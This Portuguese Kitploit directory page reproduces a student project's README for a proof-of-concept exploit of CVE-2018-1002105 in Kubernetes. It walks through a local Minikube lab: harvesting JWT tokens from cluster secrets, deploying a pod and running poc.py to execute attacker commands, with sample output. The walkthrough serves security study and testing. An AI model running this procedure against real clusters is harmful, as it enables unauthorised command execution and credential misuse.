Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2018-1002105 — Exploit de prova de conceito para CVE-2018-1002105, uma vulnerabilidade de escalonamento de privilégios no Kubernetes que permite execução não autorizada de comandos em pods através do kube-apiserver. | Kitploit
Ferramentas/GitHubGitHub/sh-ubh/cve-2018-1002105
Escalada de PrivilégiosSegurança de ContêineresAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoSegurança na Nuvem
GitHubsh-ubh/cve-2018-1002105

CVE-2018-1002105

Exploit de prova de conceito para CVE-2018-1002105, uma vulnerabilidade de escalonamento de privilégios no Kubernetes que permite execução não autorizada de comandos em pods através do kube-apiserver.

Ver Repositório
1há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CMPT733-Group11(0x90)

CVE-2018-1002105

Membros: Abhishek Rungta, Shubham Saini, Siddhant Sood

Configuração do Ambiente

  • Uma VM Linux (como Ubuntu 20.04)
  • Minikube para implantação local do Kubernetes
  • Qualquer uma destas versões antigas(1.0.x— 1.9.x, 1.10.0—1.10.10,1.11.0—1.11.4,1.12.0—1.12.2)

Executar o exploit

Fornecemos uma imagem do Virtual Box (arquivo .ova) Baixe-a e crie uma VM a partir dela. O ova fornecido está pré-configurado com Docker v18.09 e Minikube v1.9.0

Link OVA

Construir o cluster Kubernetes

Como nossa imagem virtual já possui minikube e as versões necessárias do Kubernetes, basta executar o seguinte comando para iniciar o minikube

root@kitploit:~
minikube start --kubernetes-version=v1.12.2

Criar novo usuário, namespace e atribuir função

Crie um novo usuário e um namespace e atribua a função RBAC ao usuário criado usando o comando a seguir.

root@kitploit:~
kubectl apply -f fixing_policy.yml

Remover acesso ao conntract

root@kitploit:~
kubectl edit configmaps kube-proxy --namespace=kube-system

Altere o set maxPerCore para 0

Obter o token JWT

Primeiro, execute o seguinte comando para obter todos os tokens JWT armazenados no sistema

root@kitploit:~
kubectl get secrets -A

Para obter o segredo do usuário específico criado, execute o seguinte comando:

root@kitploit:~
kubectl -n [namespace] get secrets [user-token] -o json

Em seguida, decodifique-o em base64.

root@kitploit:~
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN

Obter o endereço IP e o número da porta

root@kitploit:~
kubectl cluster-info

Para implantar o pod

root@kitploit:~
kubectl run --image=nginx:alpine securenginx -n poc

Executar o POC

Especifique todos os argumentos necessários:
-t para o alvo> ip:porta (obrigatório)
-j para o token JWT do usuário (obrigatório)
-p para o pod (obrigatório)
-n para o namespace
-m para o método (obrigatório)
-c para o container
-x para o comando do atacante

Caso de teste

Entrada

root@kitploit:~
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
root@kitploit:~
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0" 

Saída

root@kitploit:~
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:02  
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:217603 (212.5 KiB)  TX bytes:428778 (418.7 KiB)

{"metadata":{},"status":"Success"}

Demonstração em Vídeo

Vídeo de demonstração link

Baixar ferramenta